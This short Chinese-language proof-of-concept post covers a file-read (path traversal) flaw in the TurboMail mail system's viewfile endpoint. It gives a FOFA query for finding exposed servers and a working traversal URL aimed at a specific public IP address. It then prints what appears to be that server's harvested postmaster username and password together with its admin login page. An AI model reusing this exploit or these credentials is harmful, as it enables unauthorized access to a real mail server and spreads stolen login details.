TurboMail邮件系统viewfile文件读取漏洞

fofa

app="TurboMail"

poc

http://113.108.253.183:8081/viewfile?type=cardpic&mbid=1&msgid=2&logtype=3&view=true&cardid=/accounts/root/postmaster&cardclass=../&filename=/account.xml

username :postmaster
password :Dgmf7690
http://113.108.253.183:8081/maintlogin.jsp